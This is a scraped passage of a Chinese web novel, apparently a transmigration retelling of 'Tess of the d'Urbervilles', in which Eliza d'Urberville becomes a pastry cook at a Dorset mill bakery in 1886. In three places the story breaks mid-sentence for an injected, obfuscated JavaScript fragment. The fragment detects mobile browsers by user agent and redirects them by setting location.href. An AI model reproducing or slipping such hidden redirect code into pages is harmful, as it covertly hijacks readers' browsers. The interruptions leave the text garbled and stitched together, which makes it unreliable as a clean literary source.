秋收的季节过了，不管是收割场还是牧场都在缩减人手，寒冷的冬天即将来临…… 她一想到这些就头痛。 她妈居然还能摆出一副万事不愁的样子，伊莱莎对这个女人生出了一点没用的敬畏之心。 “唉，这几年你爹身体不好，前两年他去沙斯顿找医生看了，医生说他心子上长满了油，”琼恩用手比了一个没封口的圆，指着那个小缺口说，“他的心现在就剩这一点没被油包住，要是这儿也满了，你爹就要去见他那些葬在金斯贝尔的祖先了。” 她费力地给约翰找补了一番，从前的约翰·德伯菲尔德也是勤劳肯干的。 那时候他们家里还有马。 约翰平时去农场收果蔬鸡蛋，琼恩在家里加工成熟食，载货拉去附近最大的市集猎苑堡去卖。 圣灰星期三卖蛋黄酱拌防风草，七月鲭鱼便宜的时候卖烤鲭鱼饼，冬天卖潘凯尔卷心菜汤。 家里的菜地种的就是这种萨伏依卷心菜，这一片地区的菜园子里都种这种卷心菜，从11月到4月都是盛产期，霜冻之后叶子口感会更鲜嫩，过冬的时候吃最好。 复活节后烟熏羊蹄尤其受欢迎，用的是是琼恩家里的祖传的做法。 那时候家里收入不错，约翰看到有新鲜玩意儿还会给他们带回来。 伊莱莎的牙刷就是他爸心血来潮去找木匠做的。 伊莱莎：听起来挺田园诗意的，然后呢？ 然后就是最近数十年的农作物歉收，农民的生活每况愈下。 谷物法废除之后，大洋彼岸美国的小麦长驱直入，冲击农产品市场，把本地小麦的价格挤兑得愈发可怜。 再加上两个孩子的去世——没错，苔丝和伊莱莎之间还隔着两个在襁褓里就夭折的孩子。 约翰就是那时起喜欢去罗利弗酒店喝一杯麦酒的，他那时还算克制。 近几年来喝得越来越凶，把身体也喝得糟糕了。 听完琼恩的忆往昔，伊莱莎脸上不再挂着嘲讽的冷笑，只在心里无语。 她爹被生活打压得没了心气确实不幸，所以他现在就做着天降馅饼的美梦，资不抵债还敢去酒店撒钱请人喝酒？ “妈妈，要是爸爸走了，我们房子的租约要重新续租的话，租金会涨到多少？” 琼恩摇摇头，说：“我看奥哈特老爷是不会再租给我们了，他自家的长工还没地方住呢，一直想把这屋子收回去。” “还有苔丝……你爸他老是喝得醉醺醺的，咱们一家又不怎么上教堂，科林牧师可不像以前特林厄姆先生那么好说话，他一直觉得我们家破坏了村里纯洁的风气，我估计到时候还是要搬家。” 得了吧，难道酒店里面就她爹一个人酗酒？ 重点大概还是被琼恩含糊过去的苔丝，她还记得她姐给那个私生子洗礼的事儿。 不过伊莱莎对此有种天然的偏袒态度：这里面肯定有隐情，一定不是苔丝的错！ 就算刨除血缘关系的影响，苔丝·德伯菲尔德对伊莱莎来说是个陌生人，她也坚持这个看法。 总而言之，在家里一堆负资产里，最有价值的是约翰·德伯菲尔德。 作为三代租约里的最后一代人，他倒是幸福潇洒，等他酒喝多了一命呜呼，还可以去见他那埋在铅棺里的高贵祖先。 家里这群倒霉蛋可就要被地主赶出去，沦落到济贫院被践踏了。 “村里有什么工匠肯收学徒吗？” 伊莱莎想先尝试安排一下亚伯拉罕。 一个十三岁的初中生，她不放心让他去市集找工作，这个年纪去当学徒倒是刚刚好。 琼恩摆摆手，把补好的袜子放进柳条筐里，“奥哈特老爷看不惯我们这些不下地的人，他巴不得整个村里都是他的佃户。” “以前的泥瓦匠皮匠都搬去猎苑堡了，那里是个大集市，也就老特里达还留在这，他老了，不想动了。” “好吧，既然这样，那我去猎苑堡看看，能不能找个活儿干。” 琼恩大吃一惊：“傻孩子，现在猎苑堡哪里还招工！我看你不如去你姐姐那儿，苔丝总不会不要你。” 嫁给上等人的姐姐？ 伊莱莎好奇地问：“苔丝在做什么，她有给你写信吗？” “她上次走之前说要去北边找她丈夫，在那边办个农场。不过上个礼拜我收到她写的信，是从我们这个郡寄过来的，也不知道是不是改主意了。” ……去找苔丝吗？ 伊莱莎有些踌躇。 猎苑堡离这儿不远，就算搭不到车只能步行，半天之内也能走个来回。 苔丝写在信里的地址她却不识路，也不知道要走多远。 于是她让琼恩给苔丝先写信问问情况，看一下有没有适合她的位置，等她从猎苑堡回来再说。 琼恩终于反应过来，一拍脑袋问：“对了，你去猎苑堡能找到什么活呢？” “你是个女孩子，那些工匠不会收你当学徒。咱们这儿也没有什么纺织厂，你想去当佣人吗？那得找科林先生问问，他能不能给你写个推荐信。” 像牧场的挤奶女工和割麦场的收割工这种工作不需要什么技术含量，只要有力气肯干就行。 但是想找其他技术工种的活儿，不仅需要手艺能耐，更需要匠人封闭小圈子的人脉引进。 想要从事工作的底层女性只能从家政性工作做起。 女佣、洗衣工、厨娘、育儿护士、衣服缝补工，可供选择的就这么一些。 伊莱莎并没有点亮育儿和缝衣的专业技能，她虽然还没离谱到给婴儿喂加了鸦/片的安睡液，但并不觉得自己可以胜任照看幼儿。 至于洗衣工，这个工作的上升空间比女仆还低，劳累程度比下地还辛苦，工作环境又相当恶劣。 只有走投无路到去济贫院的程度，她才会把它纳入考虑。 伊莱莎看来看去，好像只剩下女佣和厨娘可以选了。 但是在一些预算有限的中产家庭里，厨娘并不是雇佣仆人的第一选择。 女佣和育儿护士的优先级都在厨娘之前。 尤其是厨师的工资还不算太低，仅次于女管家。而烹饪对家庭主妇来说，并不是个难以习得的技能。女主人既可以自己下厨，也可以根据家政书的食谱指挥女仆做饭。 比起能做各种家务活儿的女佣和解放女主人的育儿护士，厨师的性价比要低得多。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165174|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而且……找科林牧师要推荐信？ 伊莱莎摇摇头：“爱明斯脱不就在那附近吗，我顺路去拜访一下克莱尔先生，总要向人家表达一下感谢吧。” 要是能骗到推荐信就更好了。 琼恩赞成她：“那你把厨房那个装着榅桲的篮子取下来，里面有一瓶蜜酒，我再装一瓶苹果酱，你给克莱尔牧师拿过去。” “啊？要不算了吧——家里的钱还是省着点儿花比较好。” 伊莱莎厚脸皮地承认，她确实是打算光手上门致谢的——最多再去外面菜地里摘个卷心菜。 这样是有点寒酸，但丢脸总比丢钱强吧。 “钱用完了还有苔丝呢。” 琼恩自然又带着一丝得意地说，好像她在苔丝·德伯菲尔德银行那里存了100英镑没有用。 这语气实在让人火大。 什么意思，女儿攀上高枝所以可劲儿吸血吗？ 如果苔丝接济的是穷途末路家人，伊莱莎不会反对。 但琼恩和约翰这架势明摆着是想摆烂，不肯去找工作，只想从女儿口袋里掏钱。 伊莱莎没有再说什么，默默把信封上苔丝的地址背下来。 她顺着琼恩的指引，去村子另一头的清酿酒店搭便车。 乘马车从马洛特村到猎苑堡只用花四十几分钟。 伊莱莎本来兴致勃勃想要看看英伦乡村田园风光，但是这二轮马车坐垫的弹簧坏了，还没换上新的，一路上颠得她想吐。 初冬和晚秋交替的时节，这片丘陵虽然还保持着绿意，不是全然衰败的景象，马路上的灰尘却少不了，大大冲淡了她错过美景的遗憾之意。 猎苑堡是个热闹的集市，这里离火车站不远，许多小吃都可以买到便宜的原材料。 卖香煎鱼的，卖烤鱼饼的，卖炸鱼薯条的，卖小松饼的，还有卖烤牡蛎的，形形色色的摊位看得伊莱莎食欲大发。 难以想象她居然也有对大英美食垂涎三尺的一天。 伊莱莎忍住变卖掉那瓶蜜酒的冲动，向卖蜡烛香皂的杂货店老板打听了哪里在招工。 老板伸手一指：“往里走，看见那儿摆着的一筐梨没，在那个水果摊转弯往里走，走到拐角，那个店就是贝尔柯林斯，他们可以给你介绍工作，不过有佣金。” 女佣也要抽佣金吗？ 万恶的资本主义。 伊莱莎走进去询问一番，才发现那里只能给女孩介绍家庭教师和秘书。 她本来穿得挺整洁的，但在路上被尘土吹得灰头土脸，而且她的穿着一看就是农民。 不知道那个杂货店老板是怎么认为她可以胜任家庭教师的，居然给她指路指到了这里。 不过这也算是一件好事，猎苑堡这家介绍所还有介绍家庭教师的业务分支，至少说明这个地方有雇得起家庭教师的人。 厨师的工资比家庭教师要低不少。 伊莱莎信心大增，顺便问了问有没有招厨师或者厨房帮佣的。 接待她的人摇了摇头，道：“招厨房女工的话一般都是在圣母节前后招，不过等圣诞节过后你也能去问问，那时候会有一些变动。但是厨师……如果不是出了什么变故的话，厨师是不会轻易换人的。” “哦，对了，井桥的磨坊在招烘焙工，就是我们这里最大的那个磨坊。如果你会烤面包的话，可以去试试。不过是个重体力活儿，挺辛苦的。” 他看了看伊莱莎，“你长得这么漂亮，何必去……” 伊莱莎没理会他话中的未尽之意。 烘焙？她可以去试试！ 也不知道她那个“着魔”的名声传过去没有。 她提起篮子，决定先去爱明斯脱看克莱尔先生。 5. chapter5 糕点师 爱明斯脱牧师宅是一幢漂亮的乡村别墅，周边环绕着花木，房子几经翻修，依旧可以从框架上看出斯图亚特王朝的痕迹。 伊莱莎借着窗户玻璃的反光戴正了帽子，把飞出来的碎发别好，很有技巧地蹭掉靴子上的泥，再把衬衫抻平整，抖了抖裙子上的尘土。 窗下修剪好的冬青簇拥着几丛开得正茂的黄杜鹃，小香松和狐尾天门冬高低错落，围绕洁白的绣线菊，这个小花境被主人用心打理过。 鼠尾草的香气钻进鼻子里，她深吸一口气，上前按响了门铃。 来开门的是一个穿着制服的女仆，伊莱莎微笑道：“我是马洛特村的伊莱莎·德伯菲尔德，请问克莱尔先生在家吗？” 女仆接过她的篮子，把她带到客厅，伊莱莎快速地打量了一下房屋的装潢。 家具都上了黑漆，带着安妮女王时代的古老和笨重，壁纸似乎是新换的，印着时下流行的蕨类植物。 壁炉的圆拱门上挂着一幅宗教题材的油画，右下角有一行模糊的小字“仿巴托洛梅·贝尔梅霍的……”，后面看不清了，凭借贫瘠的宗教知识储备，伊莱莎猜那是圣母哀子。 漂洗干净的粗布桌布上印着小雏菊，黄铜烛台的烛油被清理得很干净，地板光洁得像是打了蜡（后来她才知道女仆确实刷了蜡）。 虽然大件家具给人沉闷的压抑感，但轻快明亮的装饰又冲淡了这种严肃的氛围，带来了家的温馨甜蜜。 她坐在椅子上，老实地看着白瓷茶杯上的银边装饰，红茶水还冒着热气。 克莱尔太太戴着金丝边眼睛编织东西，露出一个和蔼的笑，“克莱尔先生说起过你，好孩子，看起来你完全好了，愿上帝保佑你。”她在胸前画了个十字。 伊莱莎感激道：“多亏了克莱尔牧师我才好起来，我妈妈忙得走不开，只好让我自己来拜访了。篮子里装的我们家自己做的果酱和蜜酒，比市场上卖得口味更好。” 克莱尔夫妇是滴酒不沾的，不过克莱尔太太没有说出来扫兴，她让女仆把酒放进药橱里。 克莱尔先生从书房走了出来，老牧师在家也穿得一丝不苟，他对伊莱莎点点头：“啊，德伯菲尔德小姐，你是遇到什么麻烦了吗？” 好吧，看来克莱尔先生确实见多了上门的穷人。 “是这样的，克莱尔先生，”伊莱莎叹气，“既然我已经康复了，就打算去找个活儿干。马洛特村附近没有招工的，只好来猎苑堡碰碰运气。听说井桥的磨坊在招工，不过我不是井桥本地的人，老板可能信不过我，所以我想拿一封推荐信再去比较好。” “但是……我们教区的科林牧师对我们一家的风气颇有微词，因为我爸爸喜欢去酒店里喝一两杯，他大概是不会帮我推荐的，不知道克莱尔先生您能不能为我写一份推荐信？” 来的路上伊莱莎特意打听了一下克莱尔牧师，他热衷于慈善讲道，劝诫堕落的人向善，帮助酗酒的人戒酒、找工作，照看他们可怜的孩子，对生病的穷人进行义务护理，为他们送去药和食物。 虽然因为固执起过不少争执，被醉汉打破过头，被风流的唐璜吐过口水，但总体风评很好。 对于她这个可怜又奋进的小白菜，克莱尔先生想必不会拒绝，尤其是科林牧师还是高教派的人，宗教异见和助人向善双管齐下，她不信拿不到这封推荐信。 克莱尔先生回到书房写信，克莱尔太太让小女佣玛丽给她上了一盘烤乳酪三明治。 这种三明治做法对火候要求高，先把面包切成半指厚的片，放上三层切得很薄的格吕耶尔乳酪，再盖上另一层面包片，在顶部放上黄油小丁。 热好煎锅之后先煎底部，让温度慢慢融化乳酪，再翻过来煎黄油那一面，等到两面都染上美丽的姜黄色时，带着咸香的乳酪刚好变成流心。 如果想要更丰富的口味，煎之前可以在黄油上放三四片鼠尾草，酥脆的鼠尾草跟黄油融为一体，带来清新的草本香气。 显然克莱尔家的厨师对火候的掌握程度只达到了把饭烧熟的程度，这个三明治可谓是一塌糊涂，字面上的意思。 面包片切得厚薄不均，乳酪满满地溢了出来，黄油煎得有些发黑，而且最重要的是，为什么吐司面包让她吃出了磅蛋糕的口感！ 伊莱莎吃了一口，被美食冲击得头晕目眩。 幸好她反应快，化掉的奶酪没沾到她的衣服上。 不应该呀，大英的甜品不是还不错吗？ 放下三明治，伊莱莎端起红茶，做作地吹气。 克莱尔太太以为她是个羞赧的农家姑娘，没有劝她多吃一点。 大概过了五六分钟，克莱尔先生从书房出来，把写好的推荐信递给她，信封上印了他的私人徽记。 伊莱莎再三道谢之后，才离开了牧师宅邸。 如果能在井桥找到工作，她可以趁礼拜日多多过来套近乎，除开一些功利性的考量，这对夫妇给她的感觉也十分舒服。 井桥离这里并不远，就在河流拐角的地方，沿着河岸走就能到，非常显眼。 伊莱莎于是没有去租车，打算直接走过去。 走到教堂不远处的岔路口时，身后走过一群欢快的姑娘，团团围着一个青年女性。 “万灵节的时候常蒂小姐把圣餐桌打扮的太美啦，不知道开得这么好的蔷薇是从哪里寻来的！”一个梳着双马尾辫的少女对中间的女孩说。 被围在中间的常蒂小姐笑了笑：“是从邮政目录上面登记的花商那里买的，他们现在不仅卖花种，隔得近的地方也卖鲜花啦！” “我本来还想买几个脆皮奶酥蛋糕分给大家吃的，你们也知道我家厨娘烤不好酥皮，可惜我在目录上面没有看到烘焙店的广告……” 女孩们唧唧喳喳地走远了，她们似乎是来教堂上这位常蒂小姐的课的。 伊莱莎听了倒是心念一动，她摇摇头，顺着河边的道路走向磨坊。 磨坊主雷蒙德·拉德克里夫先生看上去快五十多岁，除了在磨坊工作，他还经营着一家烘焙坊，就在这儿附近。 刚磨好的小麦粉可以直接送进和面槽，免去了人工运输的麻烦。 他的妻子拉德克里夫太太管理着一个离这儿两英里的牧场，那里的牛奶偶尔会运送过来，在节日时制作小圆面包或花式面包卷。 不过这个烘焙坊的主要商品，还是那些由最普通的面粉和发酵粉制成的普通面包。 拉德克里夫弹了下推荐信，用食指摸了摸上唇刚长出来的胡髭：“伊丽莎白·德伯菲尔德小姐？” 他上下打量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165175|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着伊莱莎，用怀疑的目光扫视着她稚嫩的脸，似乎很不满意她纤细的胳膊。 伊莱莎套近乎：“叫我伊莱莎就好。” 伊丽莎白是她出生时写在教堂登记簿上的名字，准确来讲全名是伊丽莎白-露易莎·德伯菲尔德。 除了苔丝叫她露露，其他人都喊她莱莎-露。 索罗的洗礼之后原身变得不正常，加上琼恩又听说附近一个叫露易莎的女孩病死了，认定是这名字在作祟，于是勒令大家都改口叫伊莱莎了。 “既然克莱尔先生为你写了推荐信，那你的品德是毋庸置疑的，不过我很担心……你能不能干下去面包师的活儿，这可不是靠意志就能克服的辛苦。” 在克莱尔先生家的报纸上，伊莱莎已经确认现在是1886年，大概还要再过个十年，小型的揉面机才会进入伦敦的蛋糕店。 这时候在伯明翰之类的大型工业城市倒是已经有了专门的面包工厂，但是在这个农业郡的城镇小磨坊，人力揉面还是主流。 伊莱莎摇摇头：“不，先生，我不是来应聘面包师的。” “我想你这儿，可能还缺一个糕点师。” 此时似乎有必要介绍一下这个城镇的特殊情况。不同于谢菲尔德、曼彻斯特以及伯明翰这些工业化大城市，这个郡跟大多数英格兰南方的乡村一样，是个顽固的农业郡。 曼彻斯特一个城市有上百家面包店互相竞争，给工厂的工人们烤最普通的四磅面包，同时还有蛋糕师，为工厂的职员、会计，以及律师医生这些中产阶级们提供更精致的糕点。 猎苑堡这个城镇临近火车站，是各种农产品交易的中转地，在多塞特南部的诸多城镇中算得上繁华。 自从1871年颁布《公假日法令》规定了每年的公共假日以来，新的海滨旅游城市逐渐兴起，内陆传统的矿泉疗养院慢慢变得无人问津。 沾了临近海港和火车线路开通的便宜，因曾经是亨利三世的猎场森林而小有名气的猎苑堡，成了不少海滨游客回伦敦之前的最后歇脚地。 虽然没有工业城市那样广阔的消费市场，猎苑堡的旅游业还是滋润起了一些新的需求。 即使伊莱莎对猎苑堡只有走马观花浮光掠影的一瞥，依然从常蒂小姐的抱怨里嗅到了这些需求里带着黄油香气的那一团。 “只卖普通面包就能满足您的胃口了吗，这几年大洋彼岸新世界的面粉让大家的日子都不好过，为什么不尝试一些新东西呢？” 伊莱莎拿出以前昧着良心卖课的推销话术：“先生，我曾经听到一个淑女抱怨家里的厨娘烤不出可口的蛋糕，邮政目录上又没有这个广告。为什么不试着解决他们的烦恼呢，这个装满金币的口袋正等着您打开呢。” 其实她的话术也稀烂。 但是显然，拉德克里夫他吃这套呀！ 磨坊主先生转动眼珠子，他确实考虑过这回事儿。 近几年的面粉价格低了，对磨坊是个冲击。 好在糖和鸡蛋的价格也更低了，成本降低，可以试着卖价格更高的蛋糕。 然而他一直没找到合适的人选。 “好吧，伊莱莎小姐，让我看看你的蛋糕会不会像你的智慧一样动人。”他本来想说你的脸蛋的，不过这也太不像话了。 6. chapter6 高级厨娘的年薪 伊莱莎思来想去，还是决定做传统的磅蛋糕。 材料简单，在烘焙坊就能找到，鸡蛋、面粉、黄油、泡打粉、糖，也不需要过分打发。 没有机器帮忙，她这个瘦弱的细胳膊是真的顶不住。 而且本国人就偏好这种一盆搅拌到底的糕点，她费力搅打烤一条戚风蛋糕出来，磨坊主大概会说幼儿食品是片蓝海，然后把她打发走。 面包坊的工人们从凌晨开始和面工作，忙到清晨面包出炉的时候才能休息，这时候正好空出烤炉，可以让她使用。 给模具铺上油纸，再把调好的面糊均匀地倒入，伊莱莎感受了一下温度，把它送进了烤炉。煤气烤炉是不用指望了，这个炉子是苏格兰烤炉，烧的是煤炭。 至少比马洛特村里的烧柴把的窑炉先进一点，伊莱莎暗自安慰自己。 烘焙是精准的艺术，但并不教条。 比起准确的温度、湿度，对面糊熟稔的面点师会用一种更贴近感性的方式去把握它的状态。 没有温度表，伊莱莎按经验把整理好的模具送了进去。 等蛋糕出炉还有半个多小时，拉德克里夫先生跟他突如其来的糕点师站在窗下，无聊地盯着烤炉。 “嗯……先生，你打算怎么办？”本来应该先寒暄两句天气的，不过伊莱莎决定开门见山。 拉德克里夫扬起眉毛，给了对方一个微诧的眼神回应。 到了另一个重头戏，伊莱莎有点小结巴：“我想会向您订购这些糕点的客户，大部分都是克莱尔先生那样的家庭吧？我是说，会雇佣至少一个佣人的家庭，这些佣人都会做下午茶的糕点吗？” 如果不会，为什么一直没有蛋糕店开起来呢？ 磨坊主意识到她的言下之意，心里嘿叹一声：“这座磨坊从前是教会的产业，后来被我的祖辈买下，从第一只石磨开始到现在换成机器碾磨，已经过去快两百年了。” “面包坊也差不多有这么大的年龄，从那时到现在，猎苑堡的人都吃惯了拉德克里夫家的面包，我想他们也会更乐于接受拉德克里夫家的水果蛋糕。” 懂了，有需求，但是大家的消费惯性还是更信任老字号。 单卖糕点不附带着卖面包，利润不够确定。虽然获利高，但原材料的成本也更高。 毕竟猎苑堡既不是伦敦那样的商业大城市，有足够的需求支撑花样繁多推陈出新的蛋糕店，也不像马洛特村那样，需求少到一个传统面包坊就可以供给整个村子。 “我想拉德克里夫家的蛋糕一定会更合他们的口味，我是说，我们为什么不发一些传单和问卷呢？” 问卷？ 伦敦所谓的社会调查员就喜欢搞这些，在伦敦的管道公司当学徒的小拉德克里夫先生曾经就带回来过。 “比如……在上面向顾客推荐我们的蛋糕，每周3个半先令可以得到时令水果蛋糕的供应，并且成为蛋糕店的会员。” 伊莱莎化身意大利人，抬起双手在空中比划了一个传单的样式：“会员可以享受折扣价，购买吐司、芝士蛋糕、馅饼儿、小圆饼之类的会更划算，并且在圣诞节和生日还会收到新品礼物。” “至于问卷嘛，可以询问顾客的口味偏好，比如是偏好甜软还是油润，是更喜欢糖霜，还是果酱？对我们糕点的满意程度，有什么建议之类的也可以提一提，多少会让顾客觉得重视，开心一些。” 至于真的看不看意见，再说，反正又没有联网大众点评。 不过她很需要这位雇主给点意见。 拉德克里夫先生既没有勃然大怒觉得她惊世骇俗，也没有纳头就拜夸赞她商业奇才。 他又开始摸胡子，目光稍显惊异。 “很好，小姐，不知道你的蛋糕怎么样，但你的智慧确实是……” 他在找一个“比你的外貌更耀眼”更合适的形容词，像是“你的智慧比你脖子上的钻石更加闪耀”这种恭维得体的话。 但是在这个全身上下都穿得朴素的农家女孩身上，实在找不到比她的脸更闪耀的东西了。 “先让我们看看蛋糕吧。” 伊莱莎戴上手套，打开紧闭的阀门。 丰盈的蛋糕香气混合着煤炭燃烧的味道扑鼻而来。 她小心翼翼地脱模，撕下油纸，给磅蛋糕刷上糖水。 再用切刀切下来一小片，递给拉德克里夫先生。 与其他新出炉的蛋糕不同，磅蛋糕冷藏之后回油会更好吃。 但是出乎磨坊主意料，糕点绵密而扎实地压在舌尖上，如同红糖一样慢慢化开，黄油不仅提供了油润的口感，还带来了甜蜜的奶香。 伊莱莎也尝了尝，她的黄油没有打发得很充分，加了泡打粉来助力，好在量不多，她没有品尝出那种滞涩的触感。 味道还是很稳定，并没有被不可测量的烤炉温度影响到，保持着伊莱莎敬谢不敏但原产地英国人爱的踏实口感。 她喜欢在里面加一点酸奶油，调节湿润的口感，不过这里没有原料。 就算有她也不打算放进去，这种口味放在现在可有点异端了。 拉德克里夫似乎想严肃一点，但吃到甜食的幸福感还是让他的嘴角向上：“就算你只会做这一种蛋糕，我也会雇佣你的，伊丽莎白·德伯菲尔德小姐，你觉得13先令的周薪怎么样？” 33镑的年薪，赶得上一个高等厨娘了。 伊莱莎当然知道这是通知而不是让她讨价还价，她本来的预期要低不少，此时应该感恩戴德地拍老板马屁效忠了。 可惜她实在没点亮这个天赋点，只能扯出一个技术人员能笑出的最阳光、自然的笑容，道：“实在是感谢您，拉德克里夫先生！” 说“我一定不会让您失望的”是不是有点太尬了？ 伊莱莎迅速开启新话题：“那么，我是住在这里吗？” “噢，噢，你住顶楼吧。” 拉德克里夫领着她走进磨坊后面的大屋子里，碾磨发出规律的“嘎吱”声，以前这里靠水车带动的水力磨麦子，改成机器运作之后，提供水力的小河刚好供驳船通行。 面包工里只有一位女性，帕夫太太，伊莱莎觉得听起来有点像泡芙。 她的体型丰满，跟姓很搭配。 如果不是这样强壮的体型，大概是干不下揉面包这种体力活的。 帕夫太太就是她的室友了，其他工人都是男性，住在一楼。 整个房子不高，形状有点像塔楼，插在磨坊和面包坊之间。 墙壁是红砖砌的，当然没有壁纸，但是比德伯菲尔德家的农舍干净很多。 床是一个空架子，伊莱莎有点惊讶，帕夫夫人居然没有在上面堆东西。 “我是伊丽莎白·德伯菲尔德，帕夫太太叫我伊莱莎就好了。” 帕夫太太点点头，她的脸上带着清教徒式的严肃，与她的身材有些不符。 拉德克里夫先生简单地介绍了一句“伊莱莎是新来的糕点师”，就下楼去帮她拿被褥了。他的态度很奇妙，不是厌恶，也不是畏惧，是亲昵中带着一点敬而远之。 帕夫太太对她和拉德克里夫都是一视同仁的疏离，她来帮伊莱莎收拾床铺时，伊莱莎还有些诧异。 “你要托人帮你家里带口信吗，磨坊里送货的马车可以顺路把你的东西拿过来。”帕夫太太收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165176|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拾完东西，爬上床去补觉，她见伊莱莎什么也没带，便提醒她桌上有信纸和墨笔，可以给家里写信。 “啊……嗯，当然。”她给琼恩写了一份简短的信，说她在磨坊找到了工作，包吃住。 信里告知的工资只剩下真正工资的三分之一，跟一个厨房女佣差不多。 她对德伯菲尔德夫妇很有信心，如果她告诉他们有30镑的工资，他们就敢进行35镑的消费。 写完信后，她又抽出信纸给苔丝写了一封。 “亲爱的苔丝，我在井桥的磨坊找到了工作，工资很丰厚。听妈妈说你待的地方离这儿不远，我们可以在圣诞节的时候见一见吗？” 她很好奇那个一脸庄严地为死婴施洗的少女现在变成什么样了，想到琼恩说她嫁给了一个农场主，伊莱莎觉得她在结尾添的那句“如果有问题可以来找我”实在有点自大。 很快有问题来找她的是山姆。 ——面包坊的另一个面包师。 他端着面糊盆，有点困窘地向她请教：“伊莱莎，为什么这个面糊看起来有点不对？” 哪里不对，他还说不明白，但是能分辨出他打的面糊跟伊莱莎打出来的有些微妙的不同，似乎有一些渣子，不如糕点师的顺滑。 伊莱莎端过来一看，油水分离了，烘焙坊里面温度偏高，再加上山姆卖力地搅打升温，黄油软化过快，没办法跟蛋液和面粉混合。 好在程度比较轻，还能抢救得回来。她盖上纱布，端到屋外，让它降降温。 面包坊原本有四个员工，帕夫太太，山姆，派克，还有老约瑟夫。 老约瑟夫在米迦勒节已经续了约，但是他的腰实在痛得站不起来，就跟老板谈好解约，走了，拉德克里夫不得不再招一个面包师。 高级厨娘的年薪当然不是那么好拿的，比起产品开发、配方调配、客户调研这些还不确定的活儿，伊莱莎首先是要培训员工。 幸好大家对重量的估算比较准确，用厨房秤也很熟练，最值得称赞的是力气也很大，打发起面糊来比伊莱莎轻松得多，就是一不小心会过头。 新出炉了一批玛芬蛋糕，派克和山姆把炉门打开，用叉子把模具烤盘拉出来。 帕夫夫人凝视着那把铁叉，忍不住在胸前画了个十字，她大概是想起了魔鬼们在地狱里就是这样把罪人从硫磺火湖中叉起来的。 伊莱莎正在心无旁骛地做朗姆提子大曲奇，放入碾碎的欧洲榛子之后只用翻拌均匀就行，面糊她已经搅打好了。 帕夫夫人突然凑过来，低声问她：“伊莱莎，你觉得那些戒酒的人，可以吃这种曲奇吗？” 她的神情很庄重，帕夫夫人是一个虔诚的福音派信徒，教会主导的禁酒运动于她而言大概是一个很严肃的事业。 伊莱莎认真地思考了一下，回答她：“我想……酗酒的人如果在戒酒期，还是不要吃比较好。虽然我加的朗姆酒很少，只是用来提味，但是嗜酒的人是闻到一点儿酒味儿都受不了的。” 她回忆了一下订购曲奇的顾客是谁，格林蒙顿旅游社的会计普朗泰尔家，“不过普朗泰尔家应该不会介意这点儿酒味儿。” “是哪个签了戒酒誓约的顾客想要订购吗？不吃这种加了朗姆酒的曲奇，可可曲奇也不错呀……如果觉得有点儿贵，黄油曲奇就划算多了。”伊莱莎好奇地问。 帕夫太太摇头，欲言又止：“不，不是别人……是我。我想给我女儿寄一点东西，她在伦敦，或许在伦敦吧。” “她酗酒，酒瘾有点大，这次他们把她送到一个疗养院了。听说是在伦敦。” 她哽咽了一声，很快又平静了下来。 7. chapter7 再见一面 乔治·普朗泰尔先生对自己每日的午餐已不抱有什么猜测的乐趣。 在他刚跟普朗泰尔太太结婚时，他期待能享受到家庭天使带来的幸福。 然而普朗泰尔太太的厨艺实在稀松平常，不管是煎牛肩肉还是炒鲈鱼片，或者是做黑面包布丁，她总是会浇上一勺味道浓郁的肉汁，再用醋和辣椒粉摧枯拉朽地抹平一切味道。 挺好的，克制欲望尤其是食欲，是维多利亚时代中产阶级所倡导的美德。 在雇佣了一个杂役女工和护士之后，他的饮食配置也没有好上多少。 在伦敦工作的人，如果雇不起厨师，妻子又对厨艺没有兴趣，通常会选择把午餐放在外面解决。 金融城的小职员可以去辛普森小餐馆点上一份黄油面包，一条烤猪肉，再配上苹果调味汁，再来一杯茶或咖啡，花上一先令就可以吃上一顿美味的饭。 东区的劳动人民通常自己带饭，面包片夹着熏肉就是一餐。 如果不方便，去小贩摊位上买一个可口的面土豆，仅仅用掉一便士，就能充饥抵饿。 当然，老练的东区人会顺便拒绝摊贩极力推荐来上一勺的黄油——一种称之为“黄油”但实际成分未知的黄色液体。 相比之下，猎苑堡工作的人就不能这么方便地猎食了。 普朗泰尔先生抱怨自己只有自降身份去买一些卫生堪忧的街头小吃这一个选择，这里根本没有小餐馆提供美味又得体的午餐，就像普朗泰尔太太抱怨只能忍受糊涂的女佣做的下午茶甜点。 “乔治，井桥的面包坊今天送面包来的时候顺便发了一张传单，他们也开始像伦敦那样卖蛋糕了。” 几天前的一个晚上，用过晚餐之后，普朗泰尔先生在火炉旁的长沙发上看报纸，普朗泰尔太太则在读一本哥特爱情小说。 普朗泰尔先生被跳动的烛火暖得昏昏欲睡，“噢，是吗？那挺好的。” 